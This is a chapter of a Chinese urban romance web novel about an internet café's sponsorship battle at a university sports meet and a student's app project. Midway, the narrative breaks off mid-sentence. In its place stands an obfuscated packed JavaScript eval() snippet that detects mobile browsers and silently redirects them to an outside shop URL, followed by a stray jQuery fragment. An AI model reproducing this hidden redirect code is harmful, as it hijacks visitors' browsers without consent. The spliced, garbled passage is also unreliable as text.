文趣网 > 都市小说 > 本能反应 > 64. 第 64 章
    几天没羞没臊的日子过去之后,五一假期结束,山大正式开学。

    倪婞跟陈逾两人也开始变得忙碌起来。

    先说倪婞。

    假期结束的前一天,懒病加拖沓症重度患者李老板一反常态,很是积极的把外联部“人脉”的联系方式给推过来。

    倪婞收到后,回OK,就马不停蹄申请好友,那边通过的也很快。

    俩人隔着手机屏幕,互换姓名又寒暄几句。

    倪婞这才得知人脉名叫吴梦瑶,目前就任外联部副部长。

    这次肯帮忙,是因为之前承过李嘉树的人情。

    吴梦瑶上来就很直接,告诉她这事不一定能成。

    一来山大地处商业中心,周边商户很多,竞争也比较激烈,都盯着这次运动会。换句话说就是僧多肉少。

    二呢,就是倪婞之前担忧的网吧性质特殊,娱乐性太强。

    这第二条是主要原因。

    吴梦瑶说,前几届运动会也有网吧联系他们想搞赞助,就是因为这个,最后都没成。

    倪婞心里有谱。

    俩人又聊了几句,倪婞就顺势说我这边做了个策划案,咱们这边要不要看看。

    吴梦瑶显然没想到她搞的这么齐全,就说行啊。

    倪婞发过去,吴梦瑶看完,突然改口说下午可以找个奶茶店细谈。

    倪婞求之不得。

    当然她不可能傻乎乎地真找个奶茶店,毕竟求人办事,最后找了离大学城不远的一个环境清幽的相对高档点的咖啡馆。

    提前到,把小食和咖啡点好。

    吴梦瑶进来,看到这一小桌精致的餐点,本来就有点紧绷的态度,一下就变了。

    倪婞也没上来就跟人聊正事,反倒不露声色笑着把她衣服妆容轮番夸了个遍,又掏手机,说给你拍点照片吧,景美人美的,不拍可惜了。

    然后倪婞就专业角度,构图什么的方方面面拿捏了一下。

    都快给吴梦瑶哄成胚胎了。

    哄到最后吴梦瑶都不好意思了,主动开始聊正事。吴梦瑶说:“你那个策划其实真做的挺好的,数字体育做切点,再细化细化我估计这事能成的概率高达百分之九十九。”

    倪婞謙虚说没有没有。

    近几年电竞行业兴起,不久前电子竞技也正式纳入亚运会的奖牌项目,她写策划的时候,就查了一下,谁知道瞎猫撞上死耗子。

    吴梦瑶说人謙虚是好事,但有时候也不能太谦虚,那别人都想不到,你怎么就想到了。

    俩人商业互捧一波。

    吴梦瑶又跟她说了点运动会前期引流,中期物料准备,现场布置和场地的事。

    然后就拍拍屁股说等消息再会

    倪婞没着急走,反靠在椅子上看着窗外的太阳,突然就想到很久没见的老倪。

    她是独生子女,又是个姑娘,小时候,老倪走哪儿都带着。

    酒局饭局,一来用她挡酒,带个孩子,别人劝酒也不会太过分。二来,能拉点同情分。三也算见世面。

    这方面老倪向来鸡贼,后来老倪生意越做越大,她人也越长越大,到了能喝酒的年纪,同情分自然就没了,也就不跟着去了。

    有天老倪喝的晕晕乎乎,回来就歪在沙发上拉着她的手,跟她讲人生道理。

    宋芸在一边给他搅蜂蜜水。

    听的直皱眉头,她是教书匠,瞧不上他这满身铜臭的味,更不认同他跟倪婞说的这些“巧经”。

    老倪听了也不生气,反倒接过蜂蜜水说:“这天底下就没有新鲜事。”

    说着拍拍倪婞的肩:“就好比我跟你妈,我俩一个开饭店的,一个教书。看着像是八竿子打不着,其实你说有区别吗?要说有肯定有,那最大的区别无非就是工作内容不同,其他有什么不一样。老板想谈生意,总不能坐着干聊。那老师想往上升,想当班主任,想教点轻松的课,只靠硬实力行吗?当然不行,也得请客吃饭。所以说到底啊,这工作工作,抛开专业能力,剩下的就是人情世故了。”

    现在回想,倪婞砸了一下嘴,颇以为然。

    又等了两天,吴梦瑶说策划通过了。

    倪婞就顺理成章的启动她那些前期准备的工作,横幅,快闪,服装,妆造,coser人员调度。

    事多也繁琐,好在她早有准备,所以一切都在有条不紊中进行。

    没前段时间那么忙,她就想起陈逾了。

    陈逾那项目还没开始,每天闲赋在家,唯一乐趣就是抱着手机单方面给她发消息。

    倪婞有时候开手机,看一条接一条的消息,感觉陈逾好像个等她宠幸的深宫怨妇。

    约“怨妇”共进晚餐,然后小看一场电影,怨妇欣然同意。

    饭吃完,电影看完,怨妇就顺理成章跟她上楼,美曰其名,天太黑,你一人上去,我不放心。然后到门口又美曰其名,来都来了。

    某天腻歪完,她跟陈逾挤在长条沙发上,她枕着陈逾的手臂,闻着他身上幽淡的香味。

    思绪渐飘,忽然就想到以后。

    以后他们都找到方向,脱离校园,实现梦想,闲暇之余会不会就是这样。

    吃饭,聊天,睡觉,过着普通又觉得幸福非常的日子。

    她没敢问陈逾,因为她还尚处在找方向的路上。

    只是仰着头,盯着他的下巴看。

    陈逾似有所感,也在同一时刻低下头,垂着眼皮看了她一会儿。

    然后就低头亲她,亲着亲着,嘴不知道怎么又跑偏了……

    倪婞仰头喘息。

    不是,就不能盖着棉被纯聊会天吗?

    这天她去山大找吴梦瑶,吴梦瑶说再过几天运动会就要开始,可以把横幅提前印出来,在校园主干道,宿舍楼,运动场悬挂张贴。

    然后她这边线上同步联动校园官方公众号,微博,抖音,快手,校园贴吧把网吧的简介页,工作微信还有促销活动都挂出来。

    俩人说好在外联部所在的教学楼二楼打照面。

    倪婞兴冲冲往里走,走到外联部楼底下迎面就碰上一个意想不到的人,星际老板——花臂哥。

    倪婞今天没带帽子口罩,花臂哥显然认出她,肿眼泡子狠狠斜了她一眼,抖抖脖子上的大金链子就趾高气昂的跟一个带眼镜的学生干事往楼里走。

    倪婞跟在后头听了一耳朵,上楼,就跟吴梦瑶打听。

    吴梦瑶说我正想跟你说这事呢。

    “什么?”

    “也怪我。”

    吴梦瑶叹了口气,开始倒苦水。

    倪婞听了个大概,明白怎么回事了。

    这事确实跟吴梦瑶有点关系。

    临近毕业季,外联部牵扯换届。

    身为外联部副部长的吴梦瑶最大的竞争对手就是刚才跟花臂哥说笑的那个眼镜男,也是副部长。

    俩人级别相似,能力不相上下,部里人都知道下届部长一准在他俩之间产生。

    俩人心知肚明,表面笑嘻嘻,私下早就水深火热了。不过一直没摆到明面上,直到这学期开学,部长提卸任,俩人之间的斗争开始移到明面,并一度进入白热化阶段。

    然后花臂哥见缝插针,不知道从哪儿打听到他俩不对付,就找到眼镜男。

    吴梦瑶拍桌子:“马了个比逼!个小赤佬!玩儿阴的!处处跟我过不去是吧!”

    倪婞吓的打了个哆嗦。

    她之前大学就加了个摄影社,每天背着包跟一群相机发烧友去公园拍鸟,对学校的人事是一点不关心。如今脱离校园就更是了,哪儿能知道这学生会,部门跟部门之间已经发展成这样。

    “不给你个教训!是记不住你姑奶奶我姓吴!”吴梦瑶说着站起来,掐着腰,在屋里直转悠。

    倪婞安抚:“咱别跟那种人一般见识,消消气嗷,消消气嗷。”

    倪婞其实挺想的开的。

    开门做生意,你不能搞个什么营销方式,就不让别人弄。

    不过两天之后,她就改变主意了。

    为什么?有句话说的好啊,巴掌不打自己脸上不知道疼。

    这天,倪婞跟几个穿红马甲的干事去山大主干道拉横幅,天挺热的,几个小干事尽心尽力,倪婞就趁着人挂横幅的功夫,去后边的小超市买水。

    折回来一看对面傻眼了,对面不是花臂哥还能是谁。花臂哥也带着几个穿红马甲的干事,正扯着嗓门指挥着拉横幅呢。

    最过分不是这,是那横幅上的标题!

    他们数字体育!他也整个数字体育!

    他们网动青春!他也整个网动青春!

    抄他妈的都不会抄!直接省事照搬!

    倪婞气的直哆嗦,真想上去踹花臂哥一脚,不过为了不重蹈李老板打架进局子的覆辙,倪婞硬生生忍住了。

    不过这事不能就这么算了,她拐到外联部的大楼,找到吴梦瑶,说:“昨天是我鲁莽了。”

    “啥?”

    “你昨天不说要治治那小赤佬吗!治!不治不长记性!”

    吴梦瑶一开始吓了一跳,因为这段时间接触,倪婞一直都笑脸相迎,乐呵呵,没见过她这样。

    不过很快明白怎么回事了。

    外联部所有的干事都在一个群里,有什么项目文件都要统一发到群文件里。

    这回换倪婞掐腰。

    吴梦瑶:“你别上火别上火。”

    倪婞点点头,想了一会儿,凑过去。

    巴拉巴拉,吴梦瑶听的眼睛都直了。

    最后倪婞说:“这事你不用管,交给我,如果出事也找不到你头上。”

    吴梦瑶听见这句眼冒星光。

    之前虽然说是陈逾牵线搭桥,不提其他,就说许南那事,几个男生围着她团团转,不管是酸还是别的,不可能不存在偏见。

    慢慢接触下来,吴梦瑶觉得自己好像被世俗意义上的价值观障了目。世俗的价值观告诉尚未出校园的她,优异的成绩是判定一个人一切的基准。

    可升入大学之后,接触的人越多,她发现其实不是这样的。

    优异的成绩只能衡定一个人相对集中的某一个部分,而不是全部。

    她不能想当然的通过一个人上的学校好坏和成绩是否优异,就鲁莽粗暴不负责任的戴上三六九等的有色眼镜看人。

    *

    倪婞回天翼的路上就一直琢磨这事。

    琢磨到网吧,杨梅正好在这边打台球。

    倪婞就把她的想法说了。

    杨梅这人,啥不说,凑热闹永远排第一,仗义第二。

    然后凑巧唐歌也在,也在旁边听。

    李嘉树下楼拿水,看几人神神秘秘的,有点好奇。

    就朝前台小顾招招手,小顾压根没看见。狂点鼠标,边点边爆粗口:“卧槽!你个小垃圾!就特么的会蹲人!敢来下路跟你爹一对一不!敢不敢!”

    李嘉树:……

    “小北!”

    小北正躲一楼休息室用功呢,闻声踢踏着拖鞋出来:“怎么了?”

    “那边怎么回事?”李嘉树朝水台抬抬下巴。

    小北打了个哈欠:“这不显而易见吗?”

    “?”

    小北耸肩:“头凑的那么近,还能干嘛?搞事啊。”

    “哈?”

    “星际。”

    李老板明白了,艹骂了一句。

    要说星际的老板花臂哥其实跟李老板也是颇有点渊源。

    俩人不但住在一个胡同,还门挨门。

    俩人其实小时候感情还是挺好的,曾几何时,一块撒尿,一块打鸟,一块摸鱼。

    架不住,家长总把俩人放在一块比较。

    学历身高长相,各个方面。

    比来比去,比到最后谁落下风谁心理不平衡。

    落下风的花臂哥倒是没不平衡,直接心理变态了。

    变态之后就跟李嘉树水火不容。李嘉树干什么他就干什么。

    在得知李嘉树在大学城开了个网吧,花臂哥也不甘示弱,势必要在这件事上压他一头。

    为了压这个一头不断搞恶性竞争,周边网吧倒了几家,天翼没倒得益于李嘉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762921|206438||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    树用的自家的门面房。

    有天在楼口,两人狭路相逢,李嘉树气不过,就给他胖揍……不是,互殴了一顿……俩人局子里蹲了几天……

    本来握手言和,结果花臂哥回家挨了一顿削,又特么开始作了。

    李老板叹了一口气,惋惜了零点零一秒他逝去的少年情谊,就下定决心这次整不死这个莫名其妙的死变态!

    特么的谁比找谁去,优秀又不是他的错!

    李老板不忿,又仔细琢磨这个整法,虽然有倪婞正上头,但双重保险更可靠。

    二话不说,就掏手机对着水吧里的倪婞拍了张照片。

    这张照片拍摄角度十分之刁钻,十分之把倪婞拍的,怎么说,垂着眼,眼角正好挂着打哈欠涌出的生理性的泪花,俨然一副受了欺负,泫然欲泣的样儿。

    要多可怜有可怜。

    发过去,陈逾果然秒回。

    cy:【?】

    cy:【怎么回事?】

    李嘉树拉把椅子,敲二郎腿抖啊抖。

    宇宙第一帅:【还能怎么回事,就被欺负了呗。】

    cy:【谁?】

    cy:【星际?】

    李嘉树心说上道。

    宇宙第一帅:【昂,可不是,我跟你说……】

    巴拉巴拉巴拉……不停巴拉……

    反正怎么夸张怎么说,末了不放心还交代,你可别跟倪婞提这事,你也知道人姑娘要强,又为这事付出多少努力。

    陈逾正坐在从政府回大学城的出租车上,嗯了一声,说回去再说。

    前段时间,因为许南那事,老裴把他喊到学校。

    俩人谈完视频的事,老裴不让他走。

    找了个空教室拉着他谈了很久,谈集训队,谈项目,谈职业规划。

    老裴其实之前也没少跟他说这话,但他一次都没放到心上。

    可那天他意外听进去了,最后也答应了。

    因为那天晚上他打定主意要跟倪婞说清,也打定主意要跟她在一起。

    他当时就一个想法,不能再这么下去。

    他得挣钱,不是之前的那种小钱,是大钱。

    应承下来之后,五一假期跟老裴通了个电话,大概了解了下情况。

    嘉市下属五县要推行“数字乡村,智慧社区的试点”,要弄个针对老年人,留守儿童,低文化层次人群使用的“基层民情反馈和积分治理”app。

    这个app的开发一方面是便民,另一方面为减轻政府工作压力。

    一开始项目是政府公开招标,明面上公开公正,面向全社会,其实里面门道很深,项目金额被层层剥削下来,最后预算只够找个小外包公司。

    小外包公司想攀门路,赔钱干也干,结果可想而知。

    要说这开发出来的app完全不能用也不现实。毕竟当初这标怎么到小公司手里,他们也心知肚明。

    都准备上线了,也是倒霉,赶上领导班子换届,新官上任,第一把火就烧到这试点上了。

    官商勾结,利益牵扯。

    新领导以此为切点,该处分的处分,该敲打的敲打,该换自己人的换自己人。

    风平浪静之后,不知道是真想做出个成绩,还是动作太大上头盯着。

    项目重启,本着万无一失的原则,就找到山大,找到老裴这儿。

    老裴知道这里头的弯弯绕绕,更明白这项目的好处,虽然钱不多,但牵扯政府,做成之后,不管是以后找工作还是保研,写到简历里都亮眼。

    项目到手里的第一时间,他就想到陈逾。

    他对陈逾是爱之深,责之切。

    一方他了解他家里的情况,一方面又可惜他的才华,总想找机会帮帮他。

    但陈逾这人也要强,不愿意麻烦人,就一直没等到这个机会。

    再说他也有私心,集训队人来了又去的,他是真想拿块金牌。

    好一顿说,本来没抱多大希望,没想到陈逾同意了。

    生怕他反悔,签合同,拉人一条龙。

    最后陈逾跟两个研一的学长学姐,一男一女组成一个小团队。

    陈逾负责前栈和功能测试。

    学长负责后栈

    学姐负责网页设计。

    几个人动作很快,项目到手,就约了个时间,去政府部门跟负责人叫赵姐的明确了一下app核心需求和功能边界就开始动作。

    可能是吃了一次教训,赵姐态度殷切慎重,要求他们定期汇报。

    今天大框架和设计草图刚好搭出来,赵姐来电话,陈逾一干人就带着电脑过去。

    几人坐上回程的出租车。

    学姐捂着胸口吐了口气。

    学长推了推鼻梁上的黑框眼镜,笑了一声:“你至于吗?”

    学姐:“怎么不至于?那女的嘴跟机关枪似的,回答的稍微慢点,眼睛就剜过来了。”

    俩人一个导师,经常见面,比较熟,说话没忌讳。

    学长想想:“别说,是有点。”

    俩人聊了一阵,没听见看陈逾开口,就抬头。

    陈逾坐在副驾驶坐上,正拧着眉头,抱着手机回消息呢。

    学姐口型:“别是女朋友吧?”

    学长挑眉头:“有人没机会喽。”

    学姐骂了句滚。

    她就是欣赏纯欣赏好吧。

    骂完眼睛又不由自主移到前边的后视镜。

    车厢很暗,因为一整天的忙碌,他坐姿稍有点懒散。

    冷白修长的手指时不时点一下屏幕。

    头垂着,冷光曝露在脸上。

    黑的眉,弯的睫毛,高挺的鼻梁,流畅的下颌。

    好像一朵盛放在夜色里的昙花。

    神秘,洁白,幽香。

    学姐一边在心里啧啧感叹,人间竟有此尤物。

    一边不由自主开始联想,尤物谈起恋爱来什么样儿。

    想了一会儿也没想出所以然。

    虽说尤物平时非工作也交流,不过尤物跟女生距离感简直拉满哇!